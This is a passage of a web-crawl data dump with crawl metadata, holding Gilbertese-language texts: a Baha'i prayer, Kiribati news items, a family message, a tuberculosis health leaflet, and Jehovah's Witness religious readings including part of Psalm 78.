1.0000100135803223}","num_words":156,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TATARO I BUKIIA ATAEI AO TE RORONRIKIRAKE\nTe Atua! Karikirakea te teei ae e uarereke aei i nanon bwanibwanin Am tangira, ao kammamma ni Am katoronibai. Ribanaa te aroka ae e uarereke aei i nanon nen rootin Am tangira ao buoka rikirakena ni bwakan karaun Am aakoi. Karikia bwa ataein te Abanuea ao kairia nakon Am Abanuea ni karawa. Boni Ngkoe te Korakora ao te Aakoi, ao boni Ngkoe te Tituaraoi te Moamoaaomata, Uean te Aakoi ae e riaon bwaai nako.\nTe Atua, reireiniia ataei aikai, Ataei aikai bon arokan Am tabo ni unuuniki, ueen Am tawaana, ao rootin Am onaroka. Kabwakaa Am karau i aoia; ao kaotaa Taain te koaua i aoia ma Am tangira. Kariaia Angim bwa a na kamaiuaki iai bwa a aonga ni kataneiaaki, n rikirake ao ni waakirake, ao ni kaoti n te tamaroa ae e kororaoi. Boni Ngkoe te Tia Angaanga Boni Ngkoe te Moamoaaomata.\nTe Uea! Karika te kairake aei bwa e na oota ao kamenaa Am kakabwaia i aon te karikibwai ae e kainnano aei. Anganna te rabakau, kataua n te korakora ae e na rikirake n ningabongin te bong koraki ao kakawakinna i nanon kamanomanon Am kakaawakin bwa e aonga ni kainaomataaki man te kaairua, bwa e aonga ni kakaonimaki ni mwakurin Am Waaki, ni kaiririia naake a tannako, ao ni buokiia naake a tekebuaka, ni kainaomataia taenikai ao ni kautiia naake aki kuba, bwa a aonga ni kabane ni kakabwaiaaki ni Uringam ao Neboam. Boni Ngkoe te Mwaaka ao te Korakora.\nTe Atua, kairai, kaawakinai, karikai bwa te taura ae raneanea ao te itoi ae e raititi. Boni Ngkoe te Mwaaka ao te Korakora.\n\n\nTe Auti << Ae Rimoa Ae Kan Riki >> Te Ao","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/www.bahaiprayers.org\/kiribati\/10.htm","date":"2017-11-22T14:42:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806609.33\/warc\/CC-MAIN-20171122141600-20171122161600-00354.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":283,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor\n1.Teningaun tabun ake a ira ana bwabwaro ae rietaata (Summit) te Fisheries iaon Kiribati.\nE onrake ana tabo ni bowi te FTC\/MTC are I Betio ni kaukan ana bwabwaro ae rietaata ke te NATIONAL OFFSHORE SUMMIT, PARTERING FOR SUSTAINABLE DEVELOPMENT OF TUNA RESOURCES are e kaukaki n te bong aio te Katenibong, 8\/11\/17 n te bwakantaai.\nE taekinna temanna ma irouia naake a baronga te bowi aio nakon Kiribati Updates bwa oin te kantaninga n te bowi aei bwa e na kateimatoaki te itoman imarenaia aba ake a roko ma itinanikun Kiribati; man aonon Tebetebeke ao tinaniku ibukin karekean karikirake ni kabonganan te kokona n akawa ae mwaiti bwa ana kona ni karaoaki iai amwarake ake a tia aroia n te tiin, ke tin fish ke taman, kirimwakmwaka, etc man tabo ni karao bwai (manufacturer) I Kiribati ao n Tebetebeke ibukin te iokinibwai.\nIai teningaun ma temanna ake a tei ma I abaia I tinanikun Kiribati ake a roko n ira te summit aio ae uabong bongina bwa 8\/11\/17-10\/11\/17.\nTe Ministry of Fisheries ao te Minita ae rine Hon Tetabo Nakara, tia korobokiaan Koroboki Naomi Teataata Biribo ao taan mwakuri n te Botaki ni Mwakuri aio ngaia ake a kabobonga wakinan te Summit aio.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/kiribatiupdates.com.ki\/2017\/11\/11\/teningaun-tabun-ake-a-ira-ana-bwabwaro-ae-rietata-fisheries\/","date":"2017-11-23T09:21:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934806768.19\/warc\/CC-MAIN-20171123085338-20171123105338-00546.warc.gz","language":"gil","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000087022781372}","num_words":205,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor\n\"Psychological First aid\" ke \"Te moan ibuobuoki nakon tabeaiangan te Iango\" te boto ni iango n te ririki aio ibukin aia bong koraki ake iai aorakin aia iango are e na rungaaki n 10 Okitobwa n te ririki aio.\nAio te boto ni iango ae e tamaroa ngkai ti ko na n ataia bwa koraki ake iai rotakin aia iango a kainnanoa n tainako te moan ibuobuoki bwa ngkana iai te bwai ae riki n te tabo teuana ae a tangiria ni kan ataia ko na riki ngke are ko toamau bwa te tia reirei,te tia tobwa ao te tia tararua nakoia koraki aikai ni kaongoia bwaai aika a riki n tuangiia bwaai aika a raoiroi ao aika aaki raoiroi ao ngke naba te tia bwabwakoiia n taai nako n aia kanganga ake a mena inanona.\nN aia ribooti kaain te komete ake ngaiia are a baronga kanoan te bong aio ao e oti n aia ribooti rinanon te meeri nakon Kiribati Updates ao e oti iai bwa iai kauaaba aika ana karaoaki ibukin rungakin aia bong ae kakawaki aio ao aio e na kaineti nakoia te roronrikirake.\nIai te kauaaba iaon te kaotioti ni kaineti ma te boto ni iango ibukin te ririki aio ao inanon te kaotioti ao e na riai naba n rin bwaai aika a na buokaki iai ngkana iai te bwai ae a kainnanoia ao e na tera te anga ke te moan ibuobuoki iai te kauaaba aio e na karaoaki n te Bairiki tikuea.\nAio te bukamaru ae e kakaraoaki ni katoa ririki bwa teuana te bong ae kakawaki ao te bong naba ibukin kakukureiakiia aomata ake iai aorakin aia iango.\nE na rungaaki te bong aio n 10 Okitobwa 2016 n te Bairiki tikuea ni moa man te ingabong ao n toki ni banen kanoan te bukamaru.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/kiribatiupdates.com.ki\/2016\/09\/18\/psychological-first-aid-i-kiribati\/","date":"2017-12-11T21:07:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948514051.18\/warc\/CC-MAIN-20171211203107-20171211223107-00053.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":304,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor.\nE a tokara ana kateniua ni wiki ngkai te kakamwakuri iaon karaoan te kootiwei are i marenan Bairiki ma Betio n te wiki aio.\nA taku tabeman taan kabonagana te kawai aio bwa e a manga rangi ni kamimi ngkai aron te mwakuri iaon tekootuwei aei bwa iai bwaai ni keniken ao backhoe ake a kabonganaki ibukin wakinan te mwaukri aio ike a karaoa te kenikeni irarikin te kootiwei nako Betio ao bon kanakoan taano ake a kaora nanon te tabo n roro iaan te buriti.\nInanon te wiki aio ao a manga kona n noraki kanikina aika GO ao STOP iaon te kotiwei n te nako ao te oki ma i Betio. Irarikin anne ao te keniken e bon reitinako naba ni katoa bong ma katean oona aika a boou.\nN te tai aio ao e karautaeka KU bwa E aki reke rokona irouia kaain te Works ni karekea riki bwaninin wakinan te mwakuri n onobwai ke ni katamaroa iaon aio.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/kiribatiupdates.com.ki\/2017\/09\/21\/e-a-waaki-manga-karaoan-te-dnc-kootiwei-are-i-marenan-bairiki-ma-betio\/","date":"2017-12-11T21:11:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948514051.18\/warc\/CC-MAIN-20171211203107-20171211223107-00578.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":165,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.388,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAURI GKAMI MAI IKANNE ??KAM UARA GKAI??E RABWA TE ATUA GKAI KAM BON MAEU NABA GKAMI NI KAUOMAN....HAHAHAHA...MOARARA RIKI NEI GERI ANNE NEI POEVA,SHSHSHSH,E TUAI MAN BOO MAI IAONA KERR,GAIRA GKAI EA REKE 2 MONTHS IAONI BANABA BWA E TUAI MAN ROKO TE KAIBUKE IKAI MA SA BON TATANIGAA NABA ROKONA,AO GKAMI KAM UARA GKAI??\/GAIRA TI NAG MAURURUNG RAOI SAKI AE KAKIMI AE KAMWAA KAM BOO...HEHEHEHE.E KAMAURIII GKAMI NEI TEBAU AO TUAGA POEVA BA E A KAKATAURAOA TE WHEELBARROW IBUKINA BWA EA MISS ANA BUS MAI IKAI,AO GAI GKAI EA BON BUBUTI NABA MANIU..HEHEHEHE,TARATAI BRO AKEA ANA EMAIL ADD NEI MEETI IROUM???MA GKANA IAI AO KOA MAGA SEND NAKOMAI KEER BWA E KAINANOIA MANENA AEI RIGAS...AO EAGAA GKAI NEI TEBIRIKI MA BUUNA???AO AI IRAMAN GKAI NATIIA???KAMWA AGANIAA NABA ARA KAMAURI AO BRO KOA BUTIMAEA AM BAI AE TI KANAKOATI MAI IKAI NAKOIMI...TENUUA TE BAOKI NI MATE IBUKIIA MA NEI FOUEA MA NEI NANCY AO NEI BWENIITI KERR ......\nTAO EA BON BABANE MAI IKAI AO AI BON TE BWANAA NI KAMAURI NAKOIMI MAI BANABA AE MAITORO MA NATIMII NI KABANE AO MY DONKEY NEI GRACE ARE I NADI MA AUNTY TABERA MAENG.\nE A BABANE MOA MAI IKAI TEKERAOI GKAMI NI KABANE AO TI BANE N TANGIRII GKAMI MAI IKAI..\nmauri gkoe maneu ae boboto??ko uara gkai ???ao e uara buum are e geri iran atuuna??hehehehe,taraia ko addina naba au email add aei kerr...firstname.lastname@example.org ao koa maga bon send am email add mai ikanne,ao kam uara gkai??ao e uara nei Aunty Tabera??ia nag miss aunty Tabera.\nNgai gkai i mena i banaba gai ma nei Tebau are ana katamwaanti nei Bweewa...hahaha...ao koa karokoa naba au kamauri iroun natimi anne nei Bwenauota,samson ao gkana iai riki natimi ao koa aganiia naba au kamauri kerr,ao aei ana email add nei Tebau ma koa addina naba mai ikanne....email@example.com,tao ea babane mai ikai ma koa maga rerisa mai ikanne kee.\nsapo gkami ma natimi ao koa karokoa naba au kamauri nakon nei Aunty Tabera ao au donkey are nei Bwewa.tao tii gaia moa anne ker","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/banabanvoice.ning.com\/profile\/tekabuaterikata","date":"2017-12-18T08:50:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948612570.86\/warc\/CC-MAIN-20171218083356-20171218105356-00556.warc.gz","language":"gil","language_score":0.990056932,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 0.9900569319725037}","num_words":339,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.198,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tuberculosis (TB) - Kiribati (Gilbertese) version\nTe kangenge (Tuberculosis - TB)\nTe kangenge bon te aoraki are kona ni buti mai iroun temanna nakon temanna. E kona n rooti angiin mwakorokoron te rabwata, ma n angiin te tai e roota te maamaa. A kona naba n rotaki taian ri, kirini, kiraente, ao rainin te kaburoro.\nI mwaain kuneakin katokana, a mate tao iteran mwaitiia aomata ake a kangenge. Ngkai e a reke bwainaorakian te aoraki aei, ao e a aki rang ni kabuta.\nMA – E kona naba te kangenge n tiritiri ngkana e katukaki n aki bwainaorakiaki.\nBukin tera bwa e rang kakawaki te kangenge (TB)?\nIai te kanganga n aron ae e na bati ni rikirake mwaitin te kangenge i aon Nu Tiran. E na kona n tararuaaki te kangenge ngkana a bane ni ibuobuoki aomata n kabane n totokoa butin te aoraki aei.\nTera ae karaoia te kangenge (TB)?\nNgkana e ikeikena maninaorakin te kangenge te aomata e kona:\n- ni moana ana urubwai nakon te maamaa n te tai anne ke\n- ni butinako rinanon te rara nakon mwakoron te rabwata ni kabane ke\n- n tauaki irouia tautian te rabwata ao n tiku n matu ke n aki kakamwakuri i nanon ririki aika bati i mwaain ae manga uti ke\n- n tauaki irouia tautian te rabwata n matu n akea tokina.\nBaikara tabeua kanikinaean te kangenge (TB)?\nNgkana iai te kangenge iroun te aomata e kona:\n- ni bwaka rawawatana ae bat\n- n namakina te kua ni katoa tai\n- ni maono korakora n te tairiki\n- ni bebekobeko n akea tokina n te maan ae raka nakon 3 te wiki – angiin te tai e otinako te nnamoro ke te baware ae nibuabua n nakorara) e otinako, ao n n tabetai ngkana e bekobeko e nako te rara.\nAikai ti tabeua man kanikinaean te kangenge. Ngkana iai temanna ae taraa n aki marurung e riai n nora te taokita, ke n taetae nakoia taan mwakuri ibukin tuan te mauri.\nE kanga ni butinako te kangenge (TB)?\n- E butinako te kangenge mai iroun temanna nakon temanna n te bebekobeko ao te babaware.\n- Ngkana e bekobeko te aomata ae kangenge ao aomata ake i rarikim a kona n ikerakea te maninaoraki rinanon wiia ke bwairiia.\n- E rang ni bebete ewewen te kangenge nakoia aomata ake a maeka ke ni mwakuri ni kaan ma te aomata are iai irouna te kangenge n ana tai are e eweewe iai.\n- E na ti ewewe te kangenge n te tai are e bekobeko iai te aomata ae kangenge ao e airi bekobekona ma te baware. (N te tai aio e a rang ewewe kangengen te aomata ao a kona n ewekaki tabeman riki aomata.)\nAntai ae kona n reke irouna te kangenge TB?\n- E rang n nonoraki te kangenge irouia kaara ake a kaman aorakinna ma e matu n aki kakamwakuri i nanon maamaia i nanon ririki aika bati.\n- E ti kona ni butinako te kangenge ngkana iai iroun te aomata te kangenge ae maiu mani kabung ao e aki bwabwainaorakiaki.\n- I mwin tao uoua te wiki ni bwainaoraki te aomata are iai te kangenge ae maiu irouna, ngkanne e aki manga taraaki bwa e na kaewea aorakina nakoia aomata.\n- Ko aki kona n ewekaki n te kangenge mai iroun are e kangenge ngkana e a toka iaon ana bwainnaoraki are e a tia n baireia ana taokita.\nTera aroia maan?\nBaotum, ria ao kao, e kona naba n reke irouia manin te kangenge aika kakaokoro aekaia. Ngkai e kaburoaki n tiringaki manin aorakin aia miriki kao, e na rang ni kanganga reken manin te kangenge mai irouia maan.\nTera ngkana e reke iroum te kangenge (TB)?\nNgkana ko taku bwa a reke kanikinaean te kangenge iroum e kakawaki bwa ko na nora am taokita – a kona ni karekea am tai n tutuo ibukin te kangenge, n aron te tutuo n te kun, te kataratara, ao te tutuo n te baware ke te bekobeko.\nNgkana iai te kangenge iroum, ko na anganaki te bwainaoraki – bwatin – n nim ibukin 6 nakon 12 namwakaina. A riai aomata ake ko a tia n rereitaki mangaia n tuoaki naba, n noraki ngkana e reke naba manin te kangenge irouia ao man kainnanoa te bwainaoraki.\nE kona temanna are iai te kangenge irouna ni maiu n aron ae akea ana kaangaanga?\nEng! Angiia aomata ake iai te kangenge irouia a okiri aia mwakuri ao a takaakaro i nanon tabeua te wiki. A kona naba n aki tiku man aia mwakuri.\nTera ngkana e aki bwanin bwainaorakian te kangenge (TB)?\nNgkana e aki babane ke n bwakabwaka bwainaorakian te kangenge e na rikirake n buakaka te maninaoraki ao e na korakora riki aorakin te aomata ao n kona naba ni mate. E kona naba i marenan tai ni buti te aoraki nakoia aomata aika bati riki. Ngkana e aki bwanin raoi tain te bwainaoraki, e na kona te maninaoraki n totoko nakon bwainaoraki ake a rang korakora riki. E na karekea riki te kanganga ibukin bainaorakian ao katokan te kangenge.\nE na kanga ni kona ni katokaki ewewen te kangenge (TB)?\n- moantaai bwainaorakiia aomata ake iai irouia te kangenge\n- n tuoia kain ana utu te aomata ae kangenge ma raona ni mwakuri nako\n- n itiniia tabeman merimeri ma aomata ake iai aia kaangaanga.\nBwainaorakia te kangenge (TB)!\n- nakon te taokita\nnima am bwatin\n- karekeiia aomata ake a kaan ma ngkoe bwa a na nakon tuoaki – taetae nakon am taokita n aron aio\nnima am bwatin\n- totokoa ewewen te kangenge\nnima am bwatin","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.healthed.govt.nz\/node\/1127","date":"2017-12-15T08:20:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948567785.59\/warc\/CC-MAIN-20171215075536-20171215095536-00107.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":913,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TERA AM IANGO?\nMwanangaia taan toka i aoia aoti aika aman aikai bon te rongorongo ae rangi n ataaki ae kanoan te boki ae Te Kaotioti. Tabeman a maaku iai, ao tabeman e rangi n anaaki nanoia iai. Nora ana taeka te Baibara ni kaineti ma taetae ni burabeti aikai:\n\"A a kukurei akana wareware ni kabaibati n te taetae ni burabeti aei ao akana ongora taekana.\"—Te Kaotioti 1:3.\nE maroroakinaki n Te Taua-n-Tantani aei bwa e kangaa n riki bwa te rongorongo ae raoiroi ibukira mwanangaia taan toka i aoia aoti aika aman aikai.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na3-2017-mei\/Moantaeka\/","date":"2018-01-18T04:50:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887065.16\/warc\/CC-MAIN-20180118032119-20180118052119-00559.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":94,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tera ae ko na karaoia ngkana ko maaku?— Ko na bae ni kawara tinam ao tamam bwa a na buokiko. Ma iai riki temanna ae e kona naba ni buokiko. E rangi ni korakora riki nakoia aomata nako. Ko ataia bwa antai?— Eng, bon Iehova ae te Atua. Ti na maroroakina taekan te teinimwaane ae Tawita ae taekinaki n te Baibara. E ataia Tawita ae e kona ni buokia Iehova n taai nako, ai ngaia are e aki maaku.\nNgke te teei Tawita, ao a reiakinna ana karo bwa e na tangira Iehova. E a buokaki n aei Tawita bwa e na aki maaku, e ngae ngkana a riki nakoina baika kakamaaku. E ataia ae bon Raoraona Iehova ao E na boni buokia. N te tai teuana ngke e tabe Tawita ni kawakinia tiibu, ao e a roko naba te raian ae bubura n rawea te tiibu ni wina! Ko ataia bwa tera ae e karaoia Tawita? E kaea te raian ao e a oreia naba n tiringnga ni baina! Imwina riki, ao Tawita e tiringa naba te bea are e rawea te tiibu! N am iango, antai are e buoka Tawita?— Eng, bon Iehova.\nIai riki te tai teuana are e a rangi n ninikoria iai Tawita. A buaka tibun Iteraera ma kaaini Biritia. Temanna tautiani Biritia ae te aomata ae rangi n abwabwaki ma n aintoa! Aran teuaei boni Koria. E aki toki te aintoa aei ni kakanikoia aia tautia tibun Iteraera, ao ni kakanikoa naba Iehova. E kakaewenakoia aia tautia tibun Iteraera Koria bwa a na buaka ma ngaia. Ma a bane tautia ake tibun Iteraera ni maaku ni buakanna. Ngke e ongo Tawita taekan anne ao e a tuanga Koria ni kangai: 'N na buakaniko! E na buokai Iehova ao N na bon tokanikai i aom!' N am iango, e ninikoria Tawita?— Eng, e rangi n ninikoria. Ko kan ataia bwa tera ae riki imwina?\nE anaa ana bana Tawita ao nimaua atibu aika maranran, ao e a mwananga ni buakana te aintoa. E kakanikoaki Tawita iroun Koria ngke e noria bwa bon te teinimwaane ae uarereke. Ma e tuangnga Tawita ni kangai: 'Ko nakoiu ma am kabaang, ma ngai I nakoim n aran Iehova!' Imwina ao e a karina te atibu n ana bana, e biri ni kaineta Koria ao e a katioa naba ana bana arei ni kaineta iai Koria. E boo marenani matani Koria n te atibu! E bwaka i aontano te aintoa ao ni mate! A rangi ni maaku kaaini Biritia ao a bane ni birinako. E kanga te teinimwaane n aron Tawita ni kona n tokanikai i aon te aintoa?— E buokia Iehova are e rangi ni korakora riki nakon te aintoa!\nTera reireiam ni karakinan Tawita?— E rangi ni korakora riki Iehova nakoia aomata nako, ao boni ngaia Raoraom. Mangaia are ngkana ko namakina te maaku n te tai teuana, uringnga bwa e kona ni buokiko Iehova bwa ko na ninikoria!","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/reireinia-natimi\/e-aki-maaku-tawita\/","date":"2018-01-23T06:21:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00643.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":491,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\nAna matikiera* Ataba.+ 78 Kakauongo au aomata nakon au tua.* Katanimaia taningami nakon ana taeka wiu. 2 N na kaurea wiu n taekina te taeka n rabakau. N na taekini taiani kamwaninga ake ngkoangkoa.+ 3 Baike ti a tia n ongo ma n atai,Ake a karakini tamara nakoira,+ 4 Ti na aki karabai nakoia natiia,Ti na karakini nakon te roro ae e na roko,+Ana mwakuri Iehova aika riai ni kamoamoaaki ao korakorana,+Ao bwaai aika kamimi ake e a tia ni karaoi.+ 5 E katea te kauring i Iakoba,Ao e katea te tua i Iteraera,E tua nakoia ara bakatibuBwa a na kaotiotii baikai nakoia natiia.+ 6 Bwa a aonga n atai te roro are imwina,Ake naati ake a na bungiaki,+Ao a na manga karakini nakoia natiia.+ 7 Ao a na onimakina te Atua ni baikai. A na aki mwaninga taekan ana mwakuri te Atua,+Ma a na kakairi n ana tua.+ 8 Ao a na aki katotongia aia bakatibu,Ae te roro ae imanono ma ni karitei,+Ae te roro ae e aki eti* nanoia,+Ao ae e aki kaota te kakaonimaki nakon te Atua. 9 A uouota te kainikatebe tibun Eberaim,Ma a mumun rikaaki ni bongin te buaka. 10 A aki kawakina ana berita te Atua,+Ao a rawa ni kakairi n ana tua.+ 11 A mwaninga naba baike e karaoi,+Ake ana mwakuri aika kamimi ake e kaotii nakoia.+ 12 E karaoi baika kamimi i mataia aia bakatibu,+N te aba ae Aikubita, n aonon Toan.+ 13 E katabwenaa taari bwa a aonga n rinanona,Ao e katea te ran bwa kaanga te oo.+ 14 E kairiia n te nang n te ngaina,Ao n ootan te ai n te bong.+ 15 E katabwenai bwaa n te rereua,E kariaia bwa a na kangaeia ni moi kaanga man te ran ae makuakua.+ 16 E kaotinakoa te ran bwa e na raanga man te bwaa,Ao e karaoi raan bwa a na bwaro n aroni karaanga.+ 17 Ma a teimatoa ni bure nakoinaN aroia ni karitei n te rereua nakon Teuare Moan te Rietata.+ 18 A kataa te Atua i nanoia,+N aroia ni ngureakina te amwarake are a bwaruia. 19 Mangaia are a taetae n ekaanako te Atua,Ao a taku: \"E kona te Atua ni katauraoa te taibora n te rereua?\"+ 20 Noria! E orea te bwaaBwa e aonga ni bwaro te ran ao n raanganako te karaanga.+ \"E kona naba n anganira te kariki,Ke e kona ni karekea te irikomaiu ibukia ana aomata?\"+ 21 Ngke e ongo Iehova, ao e rangi ni maraki nanona,+Ao e urarake te ai+ n ekiianako tibun Iakoba,Ao e urarake unna n ekiianako tibun Iteraera.+ 22 Ibukina bwa a aki onimakina te Atua,+Ao a aki onimakina ana konabwai ni kamaiuia. 23 Mangaia are e tua nakon taian nang i karawa i eta,Ao e kauki mataroani karawa. 24 E kabwakaa te manna n aron te karau bwa kanaia,Ao e angania amwarakeni karawa.+ 25 Ao aomata a kana aia kariki te koraki aika korakora,*+E katauraoa ae bon tau ibukia ni kanuaiia.+ 26 E kawaia te angimainiku i karawaAo e kauekea te angimaiaki ni mwaakana bwa e na kare.+ 27 Ao e kabwakaa ni karau te irikomaiu i aoia n aroni bubun te tano,Ao mannikiba n aron tanon aon te bike. 28 E kabwakaia i nukan ana kaembwa,Ni katobibii ana umwanrianna nako. 29 A kang ao e a rangi n riao ae a kanna,E angania te baere a bwaruia.+ 30 Ma imwain ae a rauaki raoi n te baere a bwaruia,Ngke e boni mena kanaia i nanoni wia, 31 Ao e a urarake naba unin te Atua n ekiianako.+ E kamateia aia mwaane aika taiani kabanea ni korakora,+Ao e kabwakaia rorobuaka n ataei aika tibun Iteraera. 32 Ma e ngae n anne, a a manga bure riki,+Ao a aki onimakin ana mwakuri aika kamimi.+ 33 Mangaia are e a karokoi n tokia aia bong n ai aron te ikeike ae tii teuana,+Ao aia ririki ni bwaai ni kakamaaku aika karina. 34 Ma n taai aika bati are e tiringia iai, ao a na bae n ukoukoria,+A na oki ma ni kakaaea te Atua, 35 Bwa a uringnga ae te Atua bon aia Bwaa,+Ao bon te tia Manga Kabooia* te Atua ae Moan te Rietata.+ 36 Ma a kataia ni mwamwanaia ni wia,Ao ni keweia n neweia. 37 E aki teimatoa nanoia nakoina,+Ao a aki kakaonimaki nakon ana berita.+ 38 Ma e nanoanga,+E kabwarai* aia kairua ao e aki kamaunaia.+ E bati ana tai n tautaua unna+N oneani mwin are e na karokoa unna ni kabane. 39 Bwa e uringia ae bon iriko ngaiia,+Ae te ang ae ukinako ao e aki karairaki. 40 Ai batira aia tai ni karitei nakoina n te aba ae mwauteretere,+Ma ni kammarakia n te rereua!+ 41 A okioki ni kataa te Atua,+Ao a kananokawaka* Teuare Tabu iroun Iteraera. 42 A aki roko n te uringa mwaakana,*Ao te bong are e kamaiuia* iai mairoun te tia kakaaitara,+ 43 Arona ni kaotiotii ana kanikina i Aikubita+Ma ana kakai n aonon Toan, 44 Ao arona ni bita te ran nakon te raraa ni kawain nako ranin te Naire,+N te aro are a aikoa kona ni moi man aia karaanga. 45 E kanakoia naango aika mwaitikurikuri bwa a na tenatenaiia ni karawawataia,+Ao biraoki bwa a na urui abaia.+ 46 E anga aia uaanikai nakoia rokati aika riao amwamwarakeia,Ao uaan aia bekutata nakon te nna n rokati.+ 47 E kamatei arokaia aika kureebe n te karau ae te aiti+Ao arokaia aika tukomorea n te karau ae te aiti. 48 E kabwakaa i aoia aia man te karau ae te aiti+Ao e oreiia aia nanai ni man n itiruan te iti.* 49 E karokoa i aoia unna ae korakora,Unna ma marakin nanona ao te rawawata,A uota te kabuanibwai te koraki n anera. 50 E kaitiaka te kawai ibukin unna. E aki kamanoia man te mate,Ao e kamateia n te aoraki ae kamamate. 51 N tokina ao e a kamateia karimoa ni kabane i Aikubita,+Ake moani korakoraia n ana umwanrianna nako Am. 52 Ao e kairiia ni kaotinakoia ana aomata n aroia tiibu,+Ao e kairiia n aron te nanai n te rereua. 53 E kaiririia ni kamanoia raoi,Ao a aki maaku,+Ao taari e rabunia akana kairiribai nakoia.+ 54 Ao e kairiia nakon ana aono ae tabu,+Ae te aono ae maungaunga aei ae reke ni baina are ataina.+ 55 E kakioianako natannaomata mai mwaia,+E tibwatibwai taian tibwanga nakoia n te kora ni baire,+E kamaekaia te baronga are tibun Iteraera ni mwengaia.+ 56 Ma a teimatoa ni kataa te Atua ae Moan te Rietata, ao ni karitei nakoina,+A aki mutiakin ana kauring.+ 57 A rairakinako naba ao a mwamwanaa te aba n aroia aia bakatibu.+ A aki kona n onimakinaki n aron te kainikatebe ae bwakee.+ 58 A teimatoa ni kabonoa nanona ibukin aia tabo aika rietata,+Ao a kaunna* n aia bouannanti aika kaaraki.+ 59 E ongo te Atua ao e rangi ni maraki nanona,+Ngaia are e a korakora rawana nakoia tibun Iteraera. 60 N tokina ao e a kaaki taekan te umwanrianna ae tabu* i Tiro,+Ae te umwanrianna ae e maekanna i buakoia aomata.+ 61 E kariaia kanikinaeani korakorana bwa e na kairakinako bwa te taenikai,Ao tamaroana nako nanoni bain te tia kakaaitara.+ 62 E anga ana aomata nakon te kabaang,+Ao e a rangi ni maraki nanona n tibwangana. 63 Ao te ai e kabuekiia ana rorobuaka n ataei,Ao akea taiani kuna ni mare aika aneneaki nakoia ana ataeinnaine aika tuai ni boo ma mwaane.* 64 A bwaka ana ibonga* n te kabaang,+Ao a aki tanginiwenei buuia ake a tiku imwia.+ 65 E a uti ngkanne Iehova kaanga mani matuna,+N aron te aomata 